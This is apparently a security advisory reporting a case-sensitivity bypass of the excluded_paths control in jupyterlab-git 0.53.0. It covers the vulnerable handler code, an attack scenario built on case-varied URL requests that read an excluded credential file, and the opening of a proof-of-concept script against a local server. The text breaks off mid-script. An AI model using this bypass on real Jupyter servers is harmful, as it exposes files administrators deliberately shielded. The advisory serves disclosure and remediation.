jupyterlab-git excluded_paths Case-Sensitivity Bypass Allows Reading Excluded Directories
Summary
jupyterlab-git 0.53.0 (latest, 2026-04-30) uses fnmatch.fnmatchcase() in GitHandler.prepare() (jupyterlab_git/handlers.py:91) to enforce the admin-configured excluded_paths security control. Because fnmatchcase is unconditionally case-sensitive, an authenticated user on a case-insensitive filesystem (macOS APFS, Windows NTFS) can bypass the exclusion by varying the case of the URL path segment — e.g. requesting /git/project/Secrets/... instead of /git/project/secrets/... — gaining read access to git history, file content, and status in directories the administrator explicitly excluded.
Vulnerable Code
```python
# jupyterlab_git/handlers.py:84-92
async def prepare(self):
"""Check if the path should be skipped"""
await ensure_async(super().prepare())
path = self.path_kwargs.get("path")
if path is not None:
excluded_paths = self.git.excluded_paths
for excluded_path in excluded_paths:
if fnmatch.fnmatchcase(path, excluded_path): # ← always case-sensitive
raise tornado.web.HTTPError(404)
```
Root Cause
fnmatch.fnmatchcase() is unconditionally case-sensitive regardless of the operating system. Contrast with fnmatch.fnmatch() which normalizes via os.path.normcase() on case-insensitive platforms.
```python
fnmatch.fnmatchcase("/project/secrets", "/project/secrets") # True — blocked
fnmatch.fnmatchcase("/project/Secrets", "/project/secrets") # False — bypasses check
```
On macOS APFS and Windows NTFS, /project/Secrets and /project/secrets resolve to the same directory on disk. The exclusion check rejects only the exact-case match, but the downstream url2localpath() resolves the case-varied path to the same filesystem location.
Impact
An authenticated JupyterLab user with access to the affected Jupyter server can bypass admin-configured excluded_paths by varying the case of the URL path segment. This grants:
- Read file content at any git ref (
/content endpoint) - Read working tree files in the excluded directory
- View git status, log, diff on the excluded path
- Enumerate commits touching excluded files
Attack Scenario
1. Admin configures c.JupyterLabGit.excluded_paths = ["/project/secrets", "/project/secrets/*"]
2. Normal request POST /git/project/secrets/status → HTTP 404 (blocked)
3. Attacker requests POST /git/project/Secrets/status → HTTP 200 (bypass)
4. Attacker reads secret: POST /git/project/Secrets/content with {"filename": "./cred.txt", "reference": {"git": "HEAD"}} → file content returned
Exploit
See poc.py. Starts a real jupyter-server with jupyterlab-git loaded, configures excluded_paths, and demonstrates bypass + exfiltration via HTTP.
```python
import json, os, shutil, subprocess, sys, tempfile, time
import urllib.request, urllib.error
from jupyterlab_git.handlers import GitHandler # real import, no mock
from jupyterlab_git_core.git import Git
import jupyterlab_git_core
PORT = 18895
TOKEN = "xtoken"
BASE_URL = f"http://127.0.0.1:{PORT}"
SECRET = "sk-PROD-a8f2x9q-LIVE-KEY"
def post(path_seg, endpoint, body=None):
url = f"{BASE_URL}/git/{path_seg}{endpoint}"
data = json.dumps(body or {}).encode()
req = urllib.request.Request(url, data=data, method="POST",
headers={"Authorization": f"token {TOKEN}", "Content-Type": "application/json"})
try:
resp = urllib.request.urlopen(req, timeout=10)
return resp.status, json.loads(resp.read())
except urllib.error.HTTPError as e:
return e.code, e.read().decode()
def main():
base_dir = tempfile.mkdtemp(prefix="jlgit_")
workspace = os.path.join(base_dir, "workspace")
repo_dir = os.path.join(workspace, "project")
secret_dir = os.path.join(repo_dir, "secrets")
os.makedirs(secret_dir)
with open(os.path.join(secret_dir, "cred.txt"), "w") as f:
f.write(SECRET + "\n")
git_env = {**os.environ, "GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "a@x",
"GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "a@x"}
subprocess.run(["git", "init"], cwd=repo_dir, capture_output=True, check=True)
subprocess.run(["git", "add", "."], cwd=repo_dir, capture_output=True, check=True)
subprocess.run(["git", "commit", "-m", "init"], cwd=repo_dir,
capture_output=True, check=True, env=git_env)
config_path = os.path.join(base_dir, "jupyter_server_config.py")
with open(config_path, "w") as f:
f.write(f'c.ServerApp.root_dir = "{workspace}"\n')
f.write(f'c.ServerApp.token = "{TOKEN}"\n')
f.write(f'c.ServerApp.open_browser = False\n')
f.write(f'c.ServerApp.port = {PORT}\n')
f.write(f'c.ServerApp.ip = "127.0.0.1"\n')
f.write(f'c.ServerApp.disable_check_xsrf = True\n')
f.write(f'c.JupyterLabGit.excluded_paths = ["/project/secrets", "/project/secrets/*"]\n')
env = os.env
